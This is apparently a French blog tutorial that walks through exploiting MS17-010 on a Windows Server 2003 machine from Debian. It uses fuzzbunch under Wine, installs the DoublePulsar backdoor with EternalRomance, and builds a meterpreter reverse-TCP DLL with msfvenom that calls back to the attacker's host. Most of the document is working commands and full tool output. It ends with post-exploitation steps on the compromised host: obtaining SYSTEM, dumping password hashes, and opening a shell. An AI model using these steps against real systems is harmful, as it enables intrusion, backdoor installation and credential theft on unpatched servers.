Table des matières
DoublePulsar: Mise en pratique d'un exploit sous Windows 2003 à partir de Debian
Dans la continuité de mes “blog post” à propos de la faille “MS17-010
” et du virus “WannaCry
”, je vais montrer comment prendre le contrôle de serveurs Windows 2003
avec “DoublePulsar
” et ceci, à partir de Debian bien sur !
La mise en place jusqu'à l’exécution de l'exploit est un peu longue et un peu complexe… mais j'ai fait de mon mieux pour ne rien oublier.
Déjà, il faudrait parler de “DoublePulsar
” et “EternalRomance
”, car l'exploit ne fonctionnera qu'avec l'utilisation des 2 là:
- “
DoublePulsar
” est le “malware”/“backdoor” qui va être injecté. - “
EternalRomance
” est l'exploit qui va injecter “DoublePulsar
”.
Mais à la fin, on va encore devoir envoyer un “shellcode
” sous forme de DLL à la “backdoor” “DoublePulsar
” pour établir la communication avec une console sous “metasploit
”.
Oui, je sais: ça pique déjà.
Par ailleurs, la plupart des démonstrations montrent qu'il faut 3 PC:
- La victime sous
Windows 2003
- Un poste sous
Windows 7
qui va utiliser un outil nommé “fuzzbunch
” … - Un poste qui va recevoir le contrôle, en console, de la victime.
Rares sont les solutions qui parlent aussi d'utiliser “Wine
” a la place de Windows 7
…
Et c'est ça que je vais vous montrer, car on va remplacer Windows 7
par Wine
…
Et là, plus besoin de 3 postes: La victime et notre Debian suffiront.
Mes sources principales:
~~READMORE~~
Pré-requis
Choisir la victime
Pour la détecter, il y a divers méthodes. Par exemple ici.
Bien qu'en théorie, la méthode que je vais développer ici fonctionne avec bien d'autres versions de Windows, en pratique, je n'ai testé qu'avec Windows Server 2003 R2 3790 Service Pack 2
:
Donc, choisissez un serveur sous Windows 2003
.
Pour Windows 7
ou 8
ou 2012
, voir par là ou là d'autres méthodes plus simple… Et puis finalement si ça ne marche pas, alors revenez ici essayer cette méthode.
Pour Windows 10
, c'est encore trop tôt
metasploit
On aura besoin de “metasploit
”, et pour l'installer, voyez par là.
"fuzzbunch" sous Wine
Source:
Comme dit en introduction, il faut utiliser un logiciel nommé “fuzzbunch
” pour contruire quelques “charges utiles” et les injecter dans la cible.
Ce logiciel est en Python et fonctionne sous Windows: c'est pour cela que je vais devoir utiliser “Wine
”.
L'utilisation de Wine implique que vous êtes dans un environnement fenêtrés, genre LDXE ou KDE ou Gnome ou ce que vous voulez. |
Installer Wine 32 bit
# apt-get update # apt-get install wine winetricks
Il faut que “Wine
” fonctionne en 32 bit, et donc:
# dpkg --add-architecture i386 # apt-get update # apt-get install wine32
On ne va pas polluer l'environnement Wine
traditionnellement dans “~/.wine
”.
On va plutôt préparer un nouvel environnement dédié à “fuzzbunch
” dans “~/.wine-fuzzbunch
” .
Donc, en tant qu'utilisateur lambda (moi-même):
$ WINEPREFIX="$HOME/.wine-fuzzbunch" WINEARCH=win32 wine wineboot
regedit
En suivant le tuto (voir source), il faut modifier le “PATH
” dans la base de registre.
Donc, on fait:
$ export WINEPREFIX=$HOME/.wine-fuzzbunch
Et puis:
$ wine regedit.exe
On fait en sorte d'avoir :
HKEY_CURRENT_USER\Environment\PATH = c:\\windows;c:\\windows\\system;C:\\Python26;C:\\fuzzbunch-debian\\windows\\fuzzbunch
fuzzbunch
On récupere “fuzzbunch
” et le clonant, via “git
”, dans l'environnement Wine
prévu:
$ cd $HOME/.wine-fuzzbunch/drive_c $ git clone https://github.com/mdiazcl/fuzzbunch-debian.git
Un sous-dossier “fuzzbunch-debian
” apparait.
installer Python2.6 (et pywin32)
$ export WINEPREFIX=$HOME/.wine-fuzzbunch $ winetricks python26
Suivez les instructions sur l'écran.
Mise en pratique de l'exploit
Il y a une longue préparation …
Dans les explications qui vont suivre, il faut savoir que:
192.168.1.10 | C'est la victime (Windows 2003 ) |
---|---|
192.168.0.50 | C'est moi, l'attaquant sous Debian 9 |
fuzzbunch
On va d'abord jouer avec “fuzzbunch
” sous Wine
:
$ export WINEPREFIX=$HOME/.wine-fuzzbunch $ cd $HOME/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows $ wine cmd.exe
Et hop:
Microsoft Windows 5.1.2600 (1.8.7) C:\fuzzbunch-debian\windows>
On démarre “fuzzbunch
”:
C:\fuzzbunch-debian\windows> python fb.py
mon projeeet
Sauf précision contraire, la plupart du temps il suffit de valider le choix proposé par défaut. |
Et hop:
... [+] Set FbStorage => C:\fuzzbunch-debian\windows\storage [*] Retargetting Session [?] Default Target IP Address [] :
Là, ca commence a nous demander qui on veut attaquer… Donc, il faut répondre:
Exemple:
[?] Default Target IP Address [] : 192.168.1.10
Ensuite, notre “IP
” (car c'est nous qu'on veut atteindre en “Callback
”):
[?] Default Callback IP Address [] : 192.168.0.50
pas besoin d'être dans le même réseau, mais il faut que les machines se voient sans restriction (sans “firewall ”) |
Mettre “no
” pour ça:
[?] Use Redirection [yes] : no
Vous pouvez choisir un projet existant ou en créer un nouveau:
[?] Base Log directory [C:\fuzzbunch-debian\logs] : [*] Checking C:\fuzzbunch-debian\logs for projects Index Project ----- ------- 0 test1 1 test1bis 2 test2 3 Create a New Project [?] Project [0] : 3 [?] New Project Name : test3 [?] Set target log directory to 'C:\fuzzbunch-debian\logs\test3\z192.168.1.10'? [Yes] : [*] Initializing Global State [+] Set TargetIp => 192.168.1.10 [+] Set CallbackIp => 192.168.0.50 [!] Redirection OFF [+] Set LogDir => C:\fuzzbunch-debian\logs\test3\z192.168.1.10 [+] Set Project => test3 fb >
Doublepulsar: creation de la backdoor
Il faut d'abord créé la “backdoor”, et dans une autre étape, on ira l'injecter dans l'environnement de Windows.
fb > use DoublePulsar [!] Entering Plugin Context :: Doublepulsar [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 192.168.1.10 [*] Applying Session Parameters [!] Enter Prompt Mode :: Doublepulsar Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 192.168.1.10 TargetPort 445 OutputFile Protocol SMB Architecture x86 Function OutputInstall [!] Plugin Variables are NOT Valid [?] Prompt For Variable Settings? [Yes] :
Hé: vous devez mettre à jour au moins la variable “OutputFile
”, donc répondre Yes
ou taper simplement la touche “Enter
”:
[?] Prompt For Variable Settings? [Yes] : [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] TargetIp :: Target IP Address [?] TargetIp [192.168.1.10] : [*] TargetPort :: Port used by the Double Pulsar back door [?] TargetPort [445] : [*] Protocol :: Protocol for the backdoor to speak *0) SMB Ring 0 SMB (TCP 445) backdoor 1) RDP Ring 0 RDP (TCP 3389) backdoor [?] Protocol [0] : [*] Function :: Operation for backdoor to perform *0) OutputInstall Only output the install shellcode to a binary file on disk. 1) Ping Test for presence of backdoor 2) RunDLL Use an APC to inject a DLL into a user mode process. 3) RunShellcode Run raw shellcode 4) Uninstall Remove's backdoor from system [?] Function [0] : [*] OutputFile :: Full path to the output file [?] OutputFile [] :
Là, il faut entrer le nom où va être stocker sur disque la “backdoor” qu'on va créer… Donc, exemple:
[?] OutputFile [] : C:\fuzzbunch-debian\windows\dpulsar3.bin [+] Set OutputFile => C:\fuzzbunch-debian\windows\dpulsar3.bin
Et on continue en laissant par défaut:
[!] Preparing to Execute Doublepulsar [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [192.168.1.10] : [?] Destination Port [445] : [+] (TCP) Local 192.168.1.10:445 [+] Configure Plugin Remote Tunnels Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 192.168.1.10 TargetPort 445 OutputFile C:\fuzzbunch-debian\windows\dpulsar3.bin Protocol SMB Architecture x86 Function OutputInstall [?] Execute Plugin? [Yes] :
Après confirmation:
[*] Executing Plugin [+] Selected Protocol SMB [+] Writing Installer to disk [*] Deleting old version of OutputFile if it exists [*] Shellcode written to OutputFile [+] Doublepulsar Succeeded
A partir d'une autre console, on peut effectivement voir que le fichier est là:
~/.wine-fuzzbunch/drive_c/fuzzbunch-debian/windows/dpulsar3.bin
Eternalromance: injection de "DoublePulsar"
Il faut préparer l'injection de la “backdoor” “DoublePulsar
”.
Donc, toujours dans “fuzzbunch
” ( “fb.py
” ) , on tape:
fb Payload (Doublepulsar) > use Eternalromance [!] Entering Plugin Context :: Eternalromance [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 192.168.1.10 [*] Applying Session Parameters [*] Running Exploit Touches [!] Entering Plugin Context :: Smbtouch [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 192.168.1.10 [*] Inheriting Input Variables [!] Enter Prompt Mode :: Smbtouch [*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] TargetIp :: Target IP Address [?] TargetIp [192.168.1.10] : [*] TargetPort :: Port used by the SMB service [?] TargetPort [445] : [*] Pipe :: Test an additional pipe to see if it is accessible (optional) [?] Pipe [] : [*] Share :: Test a file share to see if it is accessible (optional), entered as hex bytes (in unicode) [?] Share [] : [*] Protocol :: SMB (default port 445) or NBT (default port 139) *0) SMB 1) NBT [?] Protocol [0] : [*] Credentials :: Type of credentials to use *0) Anonymous Anonymous (NULL session) 1) Guest Guest account 2) Blank User account with no password set 3) Password User name and password 4) NTLM User name and NTLM hash [?] Credentials [0] : [!] Preparing to Execute Smbtouch [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Configure Plugin Remote Tunnels Module: Smbtouch ================ Name Value ---- ----- NetworkTimeout 60 TargetIp 192.168.1.10 TargetPort 445 RedirectedTargetIp RedirectedTargetPort UsingNbt False Pipe Share Protocol SMB Credentials Anonymous [?] Execute Plugin? [Yes] :
Après confirmation:
... [*] Writing output parameters [+] Target is vulnerable to 2 exploits [+] Touch completed successfully [+] Smbtouch Succeeded [*] Exporting Contract To Exploit [+] Set PipeName => lsarpc [+] Set Credentials => Anonymous [+] Set Target => SERVER_2003_SP2 [!] Enter Prompt Mode :: Eternalromance Module: Eternalromance ====================== Name Value ---- ----- NetworkTimeout 60 TargetIp 192.168.1.10 TargetPort 445 PipeName lsarpc ShellcodeFile ExploitMethod Default Credentials Anonymous Protocol SMB Target SERVER_2003_SP2 [!] Plugin Variables are NOT Valid [?] Prompt For Variable Settings? [Yes] :
Notez qu'il manque “ShellcodeFile
”, et on va s'en occuper après confirmation:
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] TargetIp :: Target IP Address [?] TargetIp [192.168.1.10] : [*] TargetPort :: Target TCP port [?] TargetPort [445] : [*] PipeName :: The named pipe to use [?] PipeName [lsarpc] : [*] ShellcodeFile :: DOPU (ensure correct architecture) ONLY! Other shellcode will likely BSOD. [?] ShellcodeFile [] :
Donc, là, on rentre le chemin qu'on a déjà saisie pour “Doublepulsar
”, exemple:
[?] ShellcodeFile [] : C:\fuzzbunch-debian\windows\dpulsar3.bin [+] Set ShellcodeFile => C:\fuzzbunch-debian\windows\dpulsar3.bin
Et puis ça continue:
[*] ExploitMethod :: Which exploit method to use *0) Default Use the best exploit method(s) for the target OS 1) Fish-in-a-barrel Most reliable exploit method (XP/2k3 only) 2) Matched-pairs Next reliable exploit method (XP/Win7/2k8R2 only) 3) Classic-Romance Original LargePageGroom exploit method (All OS Versions) [?] ExploitMethod [0] : [*] Credentials :: Type of credentials to use *0) Anonymous Anonymous (NULL session) 1) Guest Guest account 2) Blank User account with no password set 3) Password User name and password 4) NTLM User name and NTLM hash [?] Credentials [0] : [*] Protocol :: SMB (default port 445) or NBT (default port 139) *0) SMB 1) NBT [?] Protocol [0] : [*] Target :: Operating System, Service Pack, of target OS 0) XP_SP0SP1_X86 Windows XP Sp0 and Sp1, 32-bit 1) XP_SP2SP3_X86 Windows XP Sp2 and Sp3, 32-bit 2) XP_SP1_X64 Windows XP Sp1, 64-bit 3) XP_SP2_X64 Windows XP Sp2, 64-bit 4) SERVER_2003_SP0 Windows Sever 2003 Sp0, 32-bit 5) SERVER_2003_SP1 Windows Sever 2003 Sp1, 32-bit/64-bit *6) SERVER_2003_SP2 Windows Sever 2003 Sp2, 32-bit/64-bit 7) VISTA_SP0 Windows Vista Sp0, 32-bit/64-bit 8) VISTA_SP1 Windows Vista Sp1, 32-bit/64-bit 9) VISTA_SP2 Windows Vista Sp2, 32-bit/64-bit 10) SERVER_2008_SP0 Windows Server 2008 Sp0, 32-bit/64-bit 11) SERVER_2008_SP1 Windows Server 2008 Sp1, 32-bit/64-bit 12) SERVER_2008_SP2 Windows Server 2008 Sp2, 32-bit/64-bit 13) WIN7_SP0 Windows 7 Sp0, 32-bit/64-bit 14) WIN7_SP1 Windows 7 Sp1, 32-bit/64-bit 15) SERVER_2008R2_SP0 Windows Server 2008 R2 Sp0, 32-bit/64-bit 16) SERVER_2008R2_SP1 Windows Server 2008 R2 Sp1, 32-bit/64-bit [?] Target [6] : [!] Preparing to Execute Eternalromance [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [192.168.1.10] : [?] Destination Port [445] : [+] (TCP) Local 192.168.1.10:445 [+] Configure Plugin Remote Tunnels Module: Eternalromance ====================== Name Value ---- ----- NetworkTimeout 60 TargetIp 192.168.1.10 TargetPort 445 MaxExploitAttempts 3 PipeName lsarpc ExploitMethodChoice 0 ShellcodeFile C:\fuzzbunch-debian\windows\dpulsar3.bin CredChoice 0 Username Password UsingNbt False OsMajor 5 OsMinor 2 OsServicePack 2 ExploitMethod Default Credentials Anonymous Protocol SMB Target SERVER_2003_SP2 [?] Execute Plugin? [Yes] :
Après cette confirmation: vous injectez la backdoor “doublepulsar “ |
Go !
[?] Execute Plugin? [Yes] : [*] Executing Plugin [*] Running Exploit [*] Initializing Parameters [+] Target 192.168.1.10:445 [+] Authcode: 0x8657f503 [+] XorMask: 0x78 [+] Network Timeout: 60 seconds [*] Attempting exploit method 1 [*] Initializing Network [+] Initial smb session setup completed [*] Trying pipe lsarpc... [+] Success! [+] Smb pipe and rpc setup complete [*] Filling barrel with fish... done <----------------| Entering Danger Zone |-----------------> [*] Preparing dynamite... [*] Trying stick 1 (x64)...Miss [*] Trying stick 1 (x86)...BOOM! [+] Successfully Leaked Transaction! [+] Successfully caught Fish-in-a-barrel <----------------| Leaving Danger Zone |-----------------> [*] Attempting to find remote SRV module [+] Reading from CONNECTION struct at: 0x8D23D498 [+] Found SRV global data pointer: 0xB639EF8C [+] Locating function tables... [+] Transaction2Dispatch Table at: 0xB639E638 [*] Installing DOUBLEPULSAR [+] Leaked Npp Buffer to Execute at: 0x8A6523A8 [+] shellcodeaddress = 8a6524a8, shellcodefilesize=3655 [+] Backdoor shellcode written [+] Backdoor function pointer overwritten [*] Executing DOUBLEPULSAR [*] DOUBLEPULSAR should now be installed. The DOPU client can be used to verify installation. [*] Plugin completed successfully [+] Contract: StagedUpload [+] ConnectedTcp: ffffffff [+] XorMask: 78 [+] TargetOsArchitecture: x86 [+] Eternalromance Succeeded fb Exploit (Eternalromance) >
BINGO
C'est pas fini:
Maintenant que la “backdoor” ”doublepulsar
” est installé, on va la réveiller pour joindre notre console…
Ne fermez pas la console “fuzzbunch ” , on va encore l'utiliser très bientôt… |
Metasploit
Si ce n'est pas déjà fait, il faut installer “metasploit
”.
Charge utile: meterpreter
En pratique, on a toujours aucun service qui va demarrer:
Donc, on va créer ce service , et ce sera “meterpreter
”.
A partir d'un terminal sous Debian, on va utiliser l'outil “msfvenom
”.
On va dans les dossiers dédiés a “fuzzbunch
”:
$ cd ~/.wine-fuzzbunch/drive_c/fuzzbunch-debian/
Et on y créé la “charge utile” (“payload”), avec les paramètres d’écoutes, c'est à dire:
- Notre IP
- Un port libre et ouvert (pas de firewall)
$ msfvenom -p windows/meterpreter/reverse_tcp -f dll -a x86 --platform windows LHOST=192.168.0.50 LPORT=4444 > meterpreter.dll No encoder or badchars specified, outputting raw payload Payload size: 333 bytes Final size of dll file: 5120 bytes
Vis à vis de l'environnement “fuzzbunch
” dans Wine
, la DLL est là:
C:\fuzzbunch-debian\meterpreter.dll
Bien sur par la suite, tant que votre IP ne change pas, vous n'avez pas besoin de refaire tout ça.
Console de commande
Maintenant, grâce à “metasploit
” on va se mettre en attente d'une communication de la “backdoor” “doublepulsar
”.
Donc:
$ msfconsole
Et puis:
msf > use exploit/multi/handler
Et puis choisir le “payload
” qui va bien:
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp
Ce n'est pas : “windows/x64/meterpreter/reverse_tcp ” car on va causer en 32 bit |
Fixer les paramètres d'écoute:
msf exploit(handler) > set LHOST 192.168.0.50 LHOST => 192.168.0.50 msf exploit(handler) > set LPORT 4444 LPORT => 4444 msf exploit(handler) >
Maintenant, on peut démarrer ce service en ecoute dans “metasploit” en tapant simplement:
msf exploit(handler) > run
Et alors le service passe en attente….
[*] Started reverse TCP handler on 192.168.0.50:4444 [*] Starting the payload handler...
Maintenant, reveiller, enfin, “doublepulsar
”.
Execution de l'exploit
On a enfin tout:
- La “backdoor” “
DoublePulsar
” en place sur la cible - La console en attente d'etablissement de la communication
- La DLL prête a être injectée
Alors injectons.
Retour dans la console “fuzzbunch
” sous “wine
”, que vous n'avez pas fermé (sinon, c'est pas grave).
Et là on tape (encore):
fb Exploit (Eternalromance) > use DoublePulsar
Ce qui affiche:
[!] Entering Plugin Context :: Doublepulsar [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 192.168.1.10 [*] Applying Session Parameters [-] Error: Invalid value for Function () [-] Skipping 'Function' [!] Enter Prompt Mode :: Doublepulsar Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 192.168.1.10 TargetPort 445 OutputFile C:\fuzzbunch-debian\windows\dpulsar3.bin Protocol SMB Architecture x86 Function OutputInstall [!] plugin variables are valid [?] Prompt For Variable Settings? [Yes] :
On confirme qu'on veut changer les variables, en laissant tout par défaut, jusqu'à:
[*] NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 for no timeout. [?] NetworkTimeout [60] : [*] TargetIp :: Target IP Address [?] TargetIp [192.168.1.10] : [*] TargetPort :: Port used by the Double Pulsar back door [?] TargetPort [445] : [*] Protocol :: Protocol for the backdoor to speak *0) SMB Ring 0 SMB (TCP 445) backdoor 1) RDP Ring 0 RDP (TCP 3389) backdoor [?] Protocol [0] : [*] Architecture :: Architecture of the target OS *0) x86 x86 32-bits 1) x64 x64 64-bits [?] Architecture [0] : [*] Function :: Operation for backdoor to perform *0) OutputInstall Only output the install shellcode to a binary file on disk. 1) Ping Test for presence of backdoor 2) RunDLL Use an APC to inject a DLL into a user mode process. 3) RunShellcode Run raw shellcode 4) Uninstall Remove's backdoor from system [?] Function [0] :
Là, ce qu'on doit faire, c'est “RunDLL
”.
Donc:
[?] Function [0] : 2 [+] Set Function => RunDLL [*] DllPayload :: DLL to inject into user mode [?] DllPayload [] :
Maintenant, il faut donner le chemin de la DLL qu'on a créé avec la commande “msfvenom
”… soit:
[?] DllPayload [] : C:\fuzzbunch-debian\meterpreter.dll [+] Set DllPayload => C:\fuzzbunch-debian\meterpreter.dll
Et laisser le reste par défaut:
[*] DllOrdinal :: The exported ordinal number of the DLL being injected to call [?] DllOrdinal [1] : [*] ProcessName :: Name of process to inject into [?] ProcessName [lsass.exe] : [*] ProcessCommandLine :: Command line of process to inject into [?] ProcessCommandLine [] : [!] Preparing to Execute Doublepulsar [*] Redirection OFF [+] Configure Plugin Local Tunnels [+] Local Tunnel - local-tunnel-1 [?] Destination IP [192.168.1.10] : [?] Destination Port [445] : [+] (TCP) Local 192.168.1.10:445 [+] Configure Plugin Remote Tunnels
Jusqu'à :
Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 192.168.1.10 TargetPort 445 DllPayload C:\fuzzbunch-debian\meterpreter.dll DllOrdinal 1 ProcessName lsass.exe ProcessCommandLine Protocol SMB Architecture x86 Function RunDLL [?] Execute Plugin? [Yes] :
Prêt ???
Go!
[?] Execute Plugin? [Yes] : [*] Executing Plugin [+] Selected Protocol SMB [.] Connecting to target... [+] Connected to target, pinging backdoor... [+] Backdoor returned code: 10 - Success! [+] Ping returned Target architecture: x86 (32-bit) - XOR Key: 0x5106A4D5 SMB Connection string is: Windows Server 2003 R2 3790 Service Pack 2 Target OS is: 2003 x86 Target SP is: 2 [+] Backdoor installed [+] DLL built [.] Sending shellcode to inject DLL [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Backdoor returned code: 10 - Success! [+] Command completed successfully [+] Doublepulsar Succeeded fb Payload (Doublepulsar) >
BINGO BINGO
Si on regarde du côté de la console de “msfconsole
”, on voit:
[*] Sending stage (956991 bytes) to 192.168.1.10 [*] Meterpreter session 1 opened (192.168.0.50:4444 -> 192.168.1.10:2967) at 2017-06-20 02:08:35 +0200 meterpreter >
(Voir la suite pour jouer un peu).
En cas d’échec, on peut recommencer la procédure. Par exemple:
fb Payload (Doublepulsar) > use DoublePulsar [!] Entering Plugin Context :: Doublepulsar [*] Applying Global Variables [+] Set NetworkTimeout => 60 [+] Set TargetIp => 192.168.1.10 [*] Applying Session Parameters [*] Function :: Deconflict Index Session ID Value ----- ---------- ----- 0 Doublepulsar - 0 1 Doublepulsar - 3 2 Current Value RunDLL [?] Function [0] : 2 [+] Using current val for Function [!] Enter Prompt Mode :: Doublepulsar Module: Doublepulsar ==================== Name Value ---- ----- NetworkTimeout 60 TargetIp 192.168.1.10 TargetPort 445 DllPayload C:\fuzzbunch-debian\meterpreter.dll DllOrdinal 1 ProcessName lsass.exe ProcessCommandLine Protocol SMB Architecture x86 Function RunDLL [!] plugin variables are valid [?] Prompt For Variable Settings? [Yes] : No
Là c'est “No
” et hop: ça marche.
meterpreter
Sources:
Enfin, on est dans le Windows vulnérable.
J'ai déjà montré comment jouer avec quelques commandes du “shell” pour prendre le contrôle de “Windows”, mais là, je vais montrer quelques commandes de base sous “meterpreter
”.
D'abord, on arrive et on a ça:
[*] Sending stage (956991 bytes) to 192.168.1.10 [*] Meterpreter session 1 opened (192.168.0.50:4444 -> 192.168.1.10:2967) at 2017-06-20 02:08:35 +0200 meterpreter >
J'enchaine les commandes (en coupant les infos sensibles…)
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > pwd C:\WINDOWS\system32 meterpreter >
meterpreter > cd \ meterpreter >
meterpreter > ls Listing: C:\ ============ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- ... 40777/rwxrwxrwx 0 dir 2010-05-25 20:52:04 +0100 $WIN_NT$.~BT 40777/rwxrwxrwx 0 dir 2014-03-19 16:51:35 +0100 Config.Msi 40777/rwxrwxrwx 0 dir 2010-02-25 12:15:40 +0100 Documents and Settings 100444/r--r--r-- 0 fil 2010-02-25 12:09:05 +0100 IO.SYS 100444/r--r--r-- 0 fil 2010-02-25 12:09:05 +0100 MSDOS.SYS 100555/r-xr-xr-x 47772 fil 2008-02-30 13:00:00 +0100 NTDETECT.COM 40555/r-xr-xr-x 0 dir 2014-03-17 11:17:55 +0100 Program Files 40777/rwxrwxrwx 0 dir 2013-04-10 01:20:55 +0200 RECYCLER 40777/rwxrwxrwx 0 dir 2010-02-25 12:15:05 +0100 System Volume Information 40777/rwxrwxrwx 0 dir 2017-01-17 03:06:50 +0100 WINDOWS 100666/rw-rw-rw- 210 fil 2010-02-25 12:06:59 +0100 boot.ini ... meterpreter >
meterpreter > ipconfig Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 ...
meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY ... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... No users with password hints on this system [*] Dumping password hashes... administrator:500:...::: guest:501:...::: ...
meterpreter > shell Process 1008 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\> ... C:\> exit meterpreter >
meterpreter > ps ... 2042 2566 explorer.exe x86 0 REACTEUR2\Administrator C:\WINDOWS\Explorer.EXE ...
Etc…